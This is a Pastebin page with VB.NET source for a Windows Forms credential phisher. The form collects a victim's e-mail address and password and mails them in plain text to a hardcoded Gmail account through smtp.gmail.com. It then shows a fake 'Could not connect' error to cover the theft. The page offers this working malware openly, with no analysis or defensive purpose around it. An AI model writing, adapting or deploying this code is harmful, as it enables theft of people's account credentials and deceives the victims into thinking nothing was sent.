Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Dim spindelkudde As String
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim MyMailMessage As New MailMessage
- Try
- If TextBox1.Text & TextBox2.Text = "" Then
- Call MsgBox("Please enter e-mail and password.", , "Error!")
- End If
- MyMailMessage.From() = New MailAddress("spindelkudde@gmail.com")
- MyMailMessage.To.Add("spindelkudde@gmail.com")
- MyMailMessage.Subject = "Account Information"
- MyMailMessage.Body = "E-Mail: " & (TextBox1.Text) & " Password: " & (TextBox2.Text)
- Dim SMTP As New SmtpClient("smtp.gmail.com")
- SMTP.Port = 587
- SMTP.EnableSsl = True
- SMTP.Credentials = New System.Net.NetworkCredential("spindelkudde@gmail.com", "pass")
- SMTP.Send(MyMailMessage)
- Call MsgBox("Could not connect to smtp.hotmail.com.", , "Error!")
- Catch ex As Exception
- Call MsgBox("Critical error occured!"(MsgBoxStyle.Critical))
- Application.Exit()
- End Try
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- Me.Close()
- End Sub
- End Class
Add Comment
Please, Sign In to add comment